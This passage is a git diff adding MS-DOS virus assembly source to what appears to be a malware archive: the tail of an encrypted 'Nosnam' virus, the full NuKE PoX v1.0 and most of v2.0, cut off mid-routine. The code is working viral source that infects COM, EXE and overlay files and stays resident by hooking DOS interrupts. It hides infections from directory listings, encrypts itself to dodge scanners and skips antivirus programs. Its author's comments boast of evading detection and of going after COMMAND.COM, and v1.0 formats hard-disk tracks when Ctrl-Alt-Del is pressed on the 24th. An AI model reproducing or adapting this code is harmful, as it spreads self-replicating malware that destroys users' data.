si,[bp+encd] ; SI points to encrypted area start + mov cx,finished-encd ; # of bytes to encrypt + push cx ; save value, we need it in a minute + call encr ; encrypt those bytes now + + mov ah,40h ; write to file + pop cx ; use that saved value from before + pop dx ; use the other saved value + int 21h ; write those bytes + +close: mov ax,5701h ; set time / date stamps + pop cx ; from saved value #2 + pop dx ; from saved value #1 + int 21h ; time / date is restored + + mov ax,4301h ; set file attributes + pop ds ; from saved value #3 + pop dx ; from saved value #2 + pop cx ; from saved value #1 + int 21h ; attributes restored + + mov ah,3eh ; close the file + int 21h ; file is closed + +exit: pop bp ; pop the original delta offset +exit2: pop es ; pop ES from stack + pop ds ; pop DS from stack + popa ; pop all registers + popf ; pop all flags + db 0eah ; jump to original ISR + +; ---------------------------( The Data Area )----------------------------- ; +; ------------------------------------------------------------------------- ; + + oi21 dd ? ; old int 21 goes here + buffer db 0cdh,20h,0 ; terminates 1st gen + virname db 'Nosnam',0 ; the virus name + newjump db 0e9h,0,0 ; blank jump 1st gen + finished label near ; the offset label + +; ---------------------( Not Saved / Not Encrypted )----------------------- ; +; ------------------------------------------------------------------------- ; + +first: lea di,[bp+encryp] ; load with start address + lea si,[bp+new] ; load with bytes to move + movsw ; move two bytes + movsb ; move one byte + jmp encd ; jump to encrypted area + +new: mov cx,finished-encd ; this will overwrite the jump + +; ------------------------------( The End )-------------------------------- ; +; ------------------------------------------------------------------------- ; + + code ends ; end code segment + end blank ; end it all / where to start + +; ------------------------------------------------------------------------- ; +; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ; +; ------------------------------------------------------------------------- ; + diff --git a/MSDOS/Virus.MSDOS.Unknown.np10.asm b/MSDOS/Virus.MSDOS.Unknown.np10.asm new file mode 100644 index 00000000..643efd0a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.np10.asm @@ -0,0 +1,344 @@ +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +;-* (c) Rock Steady, Viral Developments -* +;*- (c) NuKE Software Developement 1991, 1992 *- +;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -* +;*- ~~~~~~ *- +;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -* +;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *- +;-* Encrypted Copies of the Virus) -* +;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +crypt_size equ crypt - init_virus ;All that gets Incrypted +virus_size equ last - init_virus ;Size of the Virus +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h +del_code equ 53h ;CTRL-ATL-DEL Key +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h +rocko proc far + +start: jmp init_virus ;+3 bytes +;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes + call doit_now ;Doit VirusMan... ;+3 Bytes + ;======== +doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes + sub bp,109h ;have to be added to the 100h! This + push ax ;SETs our `Delta Pointer'. + push bx + push cx + push dx ;Save registers + push si + push di + push bp + push es + push ds + + mov ax,0abcdh ;Are we resident Already? + int 21h + cmp bx,0abcdh ;Yupe... Quit Then... + je exit_com + + push cs ;Get CS=DS + pop ds + mov cx,es + + mov ax,3509h ;Hook Int 9 Please... + int 21h + mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h + mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h + + mov ax,3521h ;Some AVs may INTCEPT this Call! + int 21h ;May be better to go Manually... + mov word ptr cs:[int21+2][bp],es ;Save the Int + mov word ptr cs:[int21][bp],bx ;Vector Table + + dec cx ;Get a new Memory block + mov es,cx ;Put it Back to ES + mov bx,es:mut1 + mov dx,virus_size+virus_size ;Size to `Hide' + mov cl,4 ;And all this crap hides + shr dx,cl ;your number of bytes in DX + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4ah ;Call int to do it... + int 21h + + jc exit_com + mov ah,48h + dec dx + mov bx,dx ;It's Done... Yeah! + int 21h + + jc exit_com + dec ax + mov es,ax + mov cx,8h ;Here we move our Virus into + mov es:mut2,cx ;the `Hidden' memory! + sub ax,0fh + mov di,mut3 + mov es,ax + mov si,bp + add si,offset init_virus + mov cx,virus_size + cld + repne movsb + + mov ax,2521h ;Restore Int21 with ours + mov dx,offset int21_handler ;Where it starts + push es + pop ds + int 21h + + mov ax,2509h ;Restore Int9 with ours + mov dx,offset int9_handler ;The Handler... + int 21h + + push cs + pop ds +exit_com: + mov bx,offset buffer ; Its a COM file restore + add bx,bp ; First three Bytes... + mov ax,[bx] ; Mov the Byte to AX + mov word ptr ds:[100h],ax ; First two bytes Restored + add bx,2 ; Get the next Byte + mov al,[bx] ; Move the Byte to AL + mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt + pop ds + pop es + pop bp ; Restore Regesters + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,100h ; Jump Back to Beginning + push ax ; Restores our IP (a CALL + retn ; Saves them, now we change +int21 dd ? ;Our Old Int21 +int9 dd ? ;Our Old Int9 +;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int9_handler: + push ax + in al,60h ;Has the user attempted a + cmp al,del_code ;CTRL-ALT-DEL + je warm_reboot ;Yes! Screw him +bye_bye: pop ax + jmp dword ptr cs:[int9] ;Nope, Leave alone +warm_reboot: + mov ah,2ah ;Get Date Please + int 21h + cmp dl,18h ;Is it 24th of the Month? + jne bye_bye ;Yes, bye_Bye HD + mov ch,0 +hurt_me: mov ah,05h + mov dh,0 + mov dl,80h ;Formats a few tracks... + int 13h ;Hurts So good... + inc ch + cmp ch,20h + loopne hurt_me + db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot! + iret +;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +dir_handler: + pushf + push cs + call int21call ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + + mov es,bx + cmp bx,es:[16h] + jnz not_infected ;Not for us man... + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,1dh ;Is in 58 seconds? + jnz not_infected ;Nope... + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],virus_size ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int21_handler: + cmp ax,4b00h ;File executed + je execute + cmp ah,11h ;Dir handler + je dir_handler + cmp ah,12h ;Next file Dir handler + je dir_handler + cmp ax,0abcdh ;Virus testing + jne int21call + mov bx,0abcdh +int21call: + jmp dword ptr cs:[int21] ;Split... + ret +execute: + push ax + push bx + push cx + push dx + push si + push di + push es + push ds + + mov ax,4300h ;Get file Attribs + int 21h + jc exit + + test cl,1h ;Make sure there normal + jz open_file ;Okay there are + and cl,0feh ;Nope, Fix them... + mov ax,4301h ;Save them now + int 21h + jc exit + +open_file: mov ax,3D02h + int 21h ;Open File to Infect please + + jc exit ;Error Split + mov bx,ax ;BX File handler + mov ax,5700h ;Get file TIME + DATE + int 21h + + mov al,cl + or cl,1fh ;Un mask Seconds + dec cx ;60 seconds + dec cx ;58 seconds + xor al,cl ;Is it 58 seconds? + jz exit ;File already infected + + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save Time + mov word ptr ds:[old_date],dx ;Save Date + + mov ah,3Fh + mov cx,3h + mov dx,offset ds:[buffer] ;Read first 3 bytes + int 21h + + jc exit_now ;Error Split + mov ax,4202h ;Move file pointer to end + xor cx,cx ;of file... + xor dx,dx + int 21h + + jc exit_now ;Error Split + cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE? + je exit ;Yupe! Split + mov cx,ax + sub cx,3 ;Set the JMP + mov word ptr cs:[jump_address+1],cx + call infect_me ;Infect! + jc exit_now ;error split + mov ah,40h ;Write back the first 3 + mov dx,offset ds:[jump_address] ;bytes + mov cx,3h + int 21h +exit_now: + mov cx,word ptr cs:[old_time] ;Restore old time + mov dx,word ptr cs:[old_date] ;Restore Old date + mov ax,5701h + int 21h + + mov ah,3Eh + int 21h ;Close File now... +exit: + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] ;Jmp back to whatever +rocko endp +;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc near + mov ah,2ch ;Get Time + int 21h + push dx ;Split seconds to AX + pop ax + mov byte ptr cs:[value],al ;AL = 0 to 99 + ;New Encryption Value + mov cx,virus_size + push cs + pop es ;Copy ANOTHER copy of the + mov si,offset init_virus ;Virus to the end of us + mov di,offset last + repne movsb + + mov cx,crypt_size + sub cx,3h ;Encrypt that 2nd copy! + push bp + mov bp,offset last + 3h + call decrypt_encrypt + pop bp + + mov ah,40h ;Write the New Encrypted + mov dx,offset last ;Virus to File! + mov cx,virus_size + int 21h + + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to beginning + xor dx,dx ;file! + int 21h + + jc exit_error ;Split Dude... + clc ;Clear carry flag + retn +exit_error: + stc ;Set carry flag + retn +infect_me endp +old_time dw ? +old_date dw ? +jump_address db 0E9h,90h,90h +buffer db 90h,0CDh,020h +crypt: +msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'... +;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*- +decrypt proc near + pop bp + push bp + mov al,byte ptr [value-106h][bp] ;Get new Encryption + mov cx,crypt_size ;Value +decrypt_encrypt: + xor cs:[bp],al ;Fuck Scanners and put a + inc bp ;`NOT AL' anywhere here... + loop decrypt_encrypt + retn +value db 00h ;Encryption value! +decrypt endp +last: +seg_a ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.np20.asm b/MSDOS/Virus.MSDOS.Unknown.np20.asm new file mode 100644 index 00000000..72304777 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.np20.asm @@ -0,0 +1,842 @@ +;========================================================================== +; ** NuKE Pox v2.0 ** +;This is VERY old code but I promised to give it out, you'll see it exactly +;like Npox v1.1 in IJ#4, The code here is VERY BADLY written, I wrote WHOLE +;procedures TWICE! so LOTS of double code, I leave it UNTOUCHED for you to +;see, and understand it! I don't care if you fuck with it, go for it! +;The method of TSR is old, method of getting the Vectors is bad, the way +;I infect EXEs ain't too hot... But hell it works! It infects overlays.. +;it won't infect F-prot.exe or anything with ????SCAN.EXE like SCAN.EXE or +;TBSCAN.EXE etc... Command.com dies fast... Really neat...Play all you like +; +;And to all those that said I `Hacked' this... +; FFFFFF UU UU CCCC KK KK YY YY OOOO UU UU +; FF UU UU CC CC KK KK YY YY OO OO UU UU +; FFFF UU UU CC KKK === YY OO OO UU UU +; FF UU UU CC CC KK KK YY OO OO UU UU +; FF UUUUUU CCCC KK KK YY OOOO UUUUUU +;Just cuz you can't do it, doesn't mean I can't, anyhow my 93 viruses are +;500% better than this one... +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +;-* (c) Rock Steady, Viral Developments -* +;*- (c) NuKE Software Developement 1991, 1992 *- +;-* -* +;*- Virus: NuKE PoX Version: 2.0 *- +;-* ~~~~~~ ~~~~~~~~ -* +;*- Notes: EXE & COM & OVL Infector, TSR Virus. Dir Stealth Routine. *- +;-* Will Disinfect files that are opened, and re-infect them -* +;*- when they are closed! Executed files are disinfected then *- +;-* executed, and when terminated reinfected! -* +;*- VERY HARD to stop, it goes for your COMMAND.COM! beware! *- +;-* It is listed as a COMMON Virus due to is stealthiness! -* +;*- Bytes: 1800 Bytes *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +virus_size equ last - init_virus ;Virus size +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h ;Offset location + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h ;COM file! +rocko proc far +start: jmp init_virus +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Virus Begins Here... +;------------------------------------------------------------------------- +init_virus: call doit_now ;Doit VirusMan... +doit_now: pop bp ;Not to Lose Track + sub bp,106h ;Set our position + push ax ;Save all the regesters + push bx + push cx + push dx + push si + push di + push bp + push es + push ds + mov ax,0abcdh ;Are we resident Already? + int 21h ;***McAfee Scan String! + cmp bx,0abcdh ;Yupe... Quit Then... + je exit_com + push cs ;Get CS=DS + pop ds + mov cx,es + mov ax,3521h ;Sometimes tend to inter- + int 21h ;cept this Interrupt... + mov word ptr cs:[int21+2][bp],es ;Save the Int + mov word ptr cs:[int21][bp],bx ;Vector Table + dec cx ;Get a new Memory block + mov es,cx ;Put it Back to ES + mov bx,es:mut1 ;Get TOM size + mov dx,virus_size ;Virus size in DX + mov cl,4 ;Shift 4 bits + shr dx,cl ;Fast way to divide by 16 + add dx,4 ;add 1 more para segment + mov cx,es ;current MCB segment + sub bx,dx ;sub virus_size from TOM + inc cx ;put back right location + mov es,cx + mov ah,4ah ;Set_block + int 21h + + jc exit_com + mov ah,48h ;now allocate it + dec dx ;number of para + mov bx,dx ; + int 21h + jc exit_com + dec ax ;get MCB + mov es,ax + mov cx,8h ;Made DOS the owner of MCB + mov es:mut2,cx ;put it... + sub ax,0fh ;get TOM + mov di,mut3 ;beginnig of our loc in mem + mov es,ax ; + mov si,bp ;delta pointer + add si,offset init_virus ;where to start + mov cx,virus_size + cld + repne movsb ;move us + + mov ax,2521h ;Restore Int21 with ours + mov dx,offset int21_handler ;Where it starts + push es + pop ds + int 21h +exit_com: push cs + pop ds + cmp word ptr cs:[buffer][bp],5A4Dh + je exit_exe_file + mov bx,offset buffer ;Its a COM file restore + add bx,bp ;First three Bytes... + mov ax,[bx] ;Mov the Byte to AX + mov word ptr ds:[100h],ax ;First two bytes Restored + add bx,2 ;Get the next Byte + mov al,[bx] ;Move the Byte to AL + mov byte ptr ds:[102h],al ;Restore the Last of 3b + pop ds + pop es + pop bp ;Restore Regesters + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,100h ;Jump Back to Beginning + push ax ;Restores our IP (a CALL + retn ;Saves them, now we changed +command db "C:\COMMAND.COM",0 + +exit_exe_file: mov bx,word ptr cs:[vir_cs][bp] ;fix segment loc + mov dx,cs ; + sub dx,bx + mov ax,dx + add ax,word ptr cs:[exe_cs][bp] ;add it to our segs + add dx,word ptr cs:[exe_ss][bp] + mov bx,word ptr cs:[exe_ip][bp] + mov word ptr cs:[fuck_yeah][bp],bx + mov word ptr cs:[fuck_yeah+2][bp],ax + mov ax,word ptr cs:[exe_ip][bp] + mov word ptr cs:[Rock_fix1][bp],dx + mov word ptr cs:[Rock_fix2][bp],ax + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + db 0B8h ;nothing but MOV AX,XXXX +Rock_Fix1: + dw 0 + cli + mov ss,ax + db 0BCh ;nothing but MOV SP,XXXX +Rock_Fix2: + dw 0 + sti + db 0EAh ;nothing but JMP XXXX:XXXX +Fuck_yeah: + dd 0 +int21 dd ? ;Our Old Int21 +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Dir Handler +;------------------------------------------------------------------------- +old_dir: call calldos21 ;get FCB + test al,al ;error? + jnz old_out ;nope + push ax + push bx + push es + mov ah,51h ;get PSP + int 21h + mov es,bx ; + cmp bx,es:[16h] ; + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh + int 21h + pop ax + inc al ;Extended FCB? + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh + cmp al,1eh + jnz not_infected + and byte ptr es:[bx+17h],0e0h ;fix secs + sub word ptr es:[bx+1dh],virus_size + sbb word ptr es:[bx+1fh],0 +not_infected: pop es + pop bx + pop ax +old_out: iret +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Int 21 Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int21_handler: cmp ah,11h + je old_dir + cmp ah,12h + je old_dir + cmp ax,4b00h ;File executed + je dis_infect + cmp ah,3dh + je check_file + cmp ah,3eh + je check_file2 + cmp ax,0abcdh ;Virus testing + jne int21call + mov bx,0abcdh +int21call: jmp dword ptr cs:[int21] ;Split... + +check_file: jmp opening_file ;Like a Charm +check_file2: jmp closing_file +dis_infect: call disinfect ;EXE & COM okay +dont_disinfect: push dx + pushf + push cs + call int21call + pop dx + +execute: push ax + push bx + push cx + push dx + push ds + + push ax + push bx + push cx + push dx + push ds + push bp + push cs + pop ds + mov dx,offset command + mov bp,0abcdh + jmp command1 +command_ret: pop bp + pop ds + pop dx + pop cx + pop bx + pop ax + call check_4_av + jc exit1 +command1: mov ax,4300h ;Get file Attribs + call calldos21 + jc exit1 + test cl,1h ;Make sure there normal + jz open_file ;Okay there are + and cl,0feh ;Nope, Fix them... + mov ax,4301h ;Save them now + call calldos21 + jc exit +open_file: mov ax,3D02h + call calldos21 +exit1: jc exit + mov bx,ax ;BX File handler + mov ax,5700h ;Get file TIME + DATE + Call calldos21 + mov al,cl + or cl,1fh ;Un mask Seconds + dec cx ;60 seconds + xor al,cl ;Is it 60 seconds? + jz exit ;File already infected + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save Time + mov word ptr ds:[old_date],dx ;Save Date + mov ah,3Fh + mov cx,1Bh ;Read first 1B + mov dx,offset ds:[buffer] ;into our Buffer + call calldos21 + jc exit_now ;Error Split + mov ax,4202h ;Move file pointer + xor cx,cx ;to EOF File + xor dx,dx + call calldos21 + jc exit_now ;Error Split + cmp word ptr ds:[buffer],5A4Dh ;Is file an EXE? + je exe_infect ;Infect EXE file + mov cx,ax + sub cx,3 ;Set the JMP + mov word ptr ds:[jump_address+1],cx + call infect_me ;Infect! + jc exit + mov ah,40h ;Write back the + mov dx,offset jump_address + mov cx,3h + call calldos21 +exit_now: + mov cx,word ptr ds:[old_time] ;Restore old time + mov dx,word ptr ds:[old_date] ;Restore Old date + mov ax,5701h + call calldos21 + mov ah,3Eh + call calldos21 +exit: cmp bp,0abcdh + je command2 + pop ds + pop dx + pop cx + pop bx + pop ax + iret +command2: jmp command_ret + +exe_infect: mov cx,word ptr cs:[buffer+20] + mov word ptr cs:[exe_ip],cx + mov cx,word ptr cs:[buffer+22] + mov word ptr cs:[exe_cs],cx + mov cx,word ptr cs:[buffer+16] + mov word ptr cs:[exe_sp],cx + mov cx,word ptr cs:[buffer+14] + mov word ptr cs:[exe_ss],cx + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + mov word ptr cs:[vir_cs],dx + push ax + push dx + call infect_me + pop dx + pop ax + mov word ptr cs:[buffer+22],dx + mov word ptr cs:[buffer+20],ax + pop dx + pop ax + jc exit + add ax,virus_size + adc dx,0 + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + add ax,40h + mov word ptr cs:[buffer+14],dx + mov word ptr cs:[buffer+16],ax + pop dx + pop ax + push bx + push cx + mov cl,7 + shl dx,cl + mov bx,ax + mov cl,9 + shr bx,cl + add dx,bx + and ax,1FFh + jz outta_here + inc dx +outta_here: pop cx + pop bx + mov word ptr cs:[buffer+2],ax + mov word ptr cs:[buffer+4],dx + mov ah,40h + mov dx,offset ds:[buffer] + mov cx,20h + call calldos21 +exit_exe: jmp exit_now +rocko endp +vir_cs dw 0 +exe_ip dw 0 +exe_cs dw 0 +exe_sp dw 0 +exe_ss dw 0 +exe_sz dw 0 +exe_rm dw 0 +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Opening File handle AX=3D +;------------------------------------------------------------------------- +opening_file: call check_extension + jnc open_fuck2 + call check_exten_exe + jnc open_fuck2 + jmp dword ptr cs:[int21] +open_fuck2: push ax + mov ax,3d02h + call calldos21 + jnc open_fuck1 + pop ax + iret +open_fuck1: push bx + push cx + push dx + push ds + mov bx,ax + mov ax,5700h + call calldos21 + mov al,cl + or cl,1fh + dec cx ;60 Seconds + xor al,cl + jnz opening_exit3 + dec cx + mov word ptr cs:[old_time],cx + mov word ptr cs:[old_date],dx + mov ax,4202h ;Yes Pointer to EOF + xor cx,cx + xor dx,dx + call calldos21 + mov cx,dx + mov dx,ax + push cx + push dx + sub dx,1Bh ;Get first 3 Bytes + sbb cx,0 + mov ax,4200h + call calldos21 + push cs + pop ds + mov ah,3fh ;Read them into Buffer + mov cx,1Bh + mov dx,offset buffer + call calldos21 + xor cx,cx ;Goto Beginning of File + xor dx,dx + mov ax,4200h + call calldos21 + mov ah,40h ;Write first three bytes + mov dx,offset buffer + mov cx,1Bh + cmp word ptr cs:[buffer],5A4Dh + je open_exe_jmp + mov cx,3h +open_exe_jmp: call calldos21 + pop dx ;EOF - Virus_Size + pop cx ;to get ORIGINAL File size + sub dx,virus_size + sbb cx,0 + mov ax,4200h + call calldos21 + mov ah,40h ;Fix Bytes + xor cx,cx + call calldos21 + mov cx,word ptr cs:[old_time] + mov dx,word ptr cs:[old_date] + mov ax,5701h + int 21h + mov ah,3eh ;Close File + call calldos21 +opening_exit3: pop ds + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Closing File Handle INFECT it! +;------------------------------------------------------------------------- +closing_file: cmp bx,0h + je closing_bye + cmp bx,5h + ja close_cont +closing_bye: jmp dword ptr cs:[int21] + +close_cont: push ax + push bx + push cx + push dx + push di + push ds + push es + push bp + push bx + mov ax,1220h + int 2fh + mov ax,1216h + mov bl,es:[di] + int 2fh + pop bx + add di,0011h + mov byte ptr es:[di-0fh],02h + add di,0017h + cmp word ptr es:[di],'OC' + jne closing_next_try + cmp byte ptr es:[di+2h],'M' + jne pre_exit + jmp closing_cunt3 +closing_next_try: + cmp word ptr es:[di],'XE' + jne pre_exit + cmp byte ptr es:[di+2h],'E' + jne pre_exit +closing_cunt: cmp word ptr es:[di-8],'CS' + jnz closing_cunt1 ;SCAN + cmp word ptr es:[di-6],'NA' + jz pre_exit +closing_cunt1: cmp word ptr es:[di-8],'-F' + jnz closing_cunt2 ;F-PROT + cmp word ptr es:[di-6],'RP' + jz pre_exit +closing_cunt2: cmp word ptr es:[di-8],'LC' + jnz closing_cunt3 + cmp word ptr es:[di-6],'AE' ;CLEAN + jnz closing_cunt3 +pre_exit: jmp closing_nogood +closing_cunt3: mov ax,5700h + call calldos21 + + mov al,cl + or cl,1fh + dec cx ;60 Seconds + xor al,cl + jz closing_nogood + push cs + pop ds + mov word ptr ds:[old_time],cx + mov word ptr ds:[old_date],dx + mov ax,4200h + xor cx,cx + xor dx,dx + call calldos21 + mov ah,3fh + mov cx,1Bh + mov dx,offset buffer + call calldos21 + jc closing_no_good + mov ax,4202h + xor cx,cx + xor dx,dx + call calldos21 + jc closing_no_good + cmp word ptr ds:[buffer],5A4Dh + je closing_exe + mov cx,ax + sub cx,3h + mov word ptr ds:[jump_address+1],cx + call infect_me + jc closing_no_good + mov ah,40h + mov dx,offset jump_address + mov cx,3h + call calldos21 +closing_no_good: + mov cx,word ptr ds:[old_time] + mov dx,word ptr ds:[old_date] + mov ax,5701h + call calldos21 +closing_nogood: pop bp + pop es + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] +closing_exe: mov cx,word ptr cs:[buffer+20] + mov word ptr cs:[exe_ip],cx + mov cx,word ptr cs:[buffer+22] + mov word ptr cs:[exe_cs],cx + mov cx,word ptr cs:[buffer+16] + mov word ptr cs:[exe_sp],cx + mov cx,word ptr cs:[buffer+14] + mov word ptr cs:[exe_ss],cx + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + mov word ptr cs:[vir_cs],dx + push ax + push dx + call infect_me + pop dx + pop ax + mov word ptr cs:[buffer+22],dx + mov word ptr cs:[buffer+20],ax + pop dx + pop ax + jc closing_no_good + add ax,virus_size + adc dx,0 + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + add ax,40h + mov word ptr cs:[buffer+14],dx + mov word ptr cs:[buffer+16],ax + pop dx + pop ax + push bx + push cx + mov cl,7 + shl dx,cl + mov bx,ax + mov cl,9 + shr bx,cl + add dx,bx + and ax,1FFh + jz close_split + inc dx +close_split: pop cx + pop bx + mov word ptr cs:[buffer+2],ax + mov word ptr cs:[buffer+4],dx + mov ah,40h + mov dx,offset ds:[buffer] + mov cx,20h + call calldos21 +closing_over: jmp closing_no_good +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Infection Routine... +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc + mov ah,40h + mov dx,offset init_virus + mov cx,virus_size + call calldos21 + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to + xor dx,dx ;top of file + call calldos21 + jc exit_error ;Split Dude... + clc ;Clear carry flag + ret +exit_error: + stc ;Set carry flag + ret +infect_me endp +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; DisInfection Routine for 4B +;------------------------------------------------------------------------- +Disinfect PROC + push ax + push bx ;Save them + push cx + push dx + push ds + mov ax,4300h ;Get file Attribs + call calldos21 + test cl,1h ;Test for Normal Attribs + jz okay_dis ;Yes, File can be opened + and cl,0feh ;No, Set them to Normal + mov ax,4301h ;Save attribs to file + call calldos21 + jc half_way +okay_dis: mov ax,3d02h ;File now can be opened + call calldos21 ;Safely + jc half_way + mov bx,ax ;Put File Handle in BX + mov ax,5700h ;Get File Time & Date + call calldos21 + mov al,cl ;Check to see if infected + or cl,1fh ;Unmask Seconds + dec cx ;Test to see if 60 seconds + xor al,cl + jnz half_way ;No, Quit File AIN'T + dec cx + mov word ptr cs:[old_time],cx + mov word ptr cs:[old_date],dx + mov ax,4202h ;Yes, file is infected + xor cx,cx ;Goto the End of File + xor dx,dx + call calldos21 + push cs + pop ds + mov cx,dx ;Save Location into + mov dx,ax ;CX:DX + push cx ;Push them for later use + push dx + sub dx,1Bh ;Subtract file 1Bh from the + sbb cx,0 ;End so you will find the + mov ax,4200h ;Original EXE header or + call calldos21 ;First 3 bytes for COMs + mov ah,3fh ;Read them into Buffer + mov cx,1Bh ;Read all of the 1B bytes + mov dx,offset buffer ;Put them into our buffer + call calldos21 + jmp half +half_way: jmp end_dis +half: xor cx,cx ; + xor dx,dx ;Goto the BEGINNING of file + mov ax,4200h + call calldos21 + mov ah,40h ;Write first three bytes + mov dx,offset buffer ;from buffer to COM + mov cx,1Bh + cmp word ptr cs:[buffer],5A4Dh + je dis_exe_jmp + mov cx,3h +dis_exe_jmp: call calldos21 + pop dx ;Restore CX:DX which they + pop cx ;to the End of FILE + sub dx,virus_size ;Remove Virus From the END + sbb cx,0 ;of the Orignal File + mov ax,4200h ;Get new EOF + call calldos21 + mov ah,40h ;Write new EOF to File + xor cx,cx + call calldos21 + mov cx,word ptr cs:[old_time] + mov dx,word ptr cs:[old_date] + mov ax,5701h + call calldos21 + mov ah,3eh ;Close File + call calldos21 +end_dis: pop ds + pop dx + pop cx ;Restore 'em + pop bx + pop ax + ret +disinfect ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check File Extension DS:DX ASCIIZ +;-------------------------------------------------------------------------- +Check_extension PROC + push si + push cx + mov si,dx + mov cx,256h +loop_me: cmp byte ptr ds:[si],2eh + je next_ok + inc si + loop loop_me +next_ok: cmp word ptr ds:[si+1],'OC' + jne next_1 + cmp byte ptr ds:[si+3],'M' + je good_file +next_1: cmp word ptr ds:[si+1],'oc' + jne next_2 + cmp byte ptr ds:[si+3],'m' + je good_file +next_2: pop cx + pop si + stc + ret +good_file: pop cx + pop si + clc + ret +Check_extension ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check File Extension DS:DX ASCIIZ +;------------------------------------------------------------------------- +Check_exten_exe PROC + push si + push cx + mov si,dx + mov cx,256h +loop_me_exe: cmp byte ptr ds:[si],2eh + je next_ok_exe + inc si + loop loop_me_exe 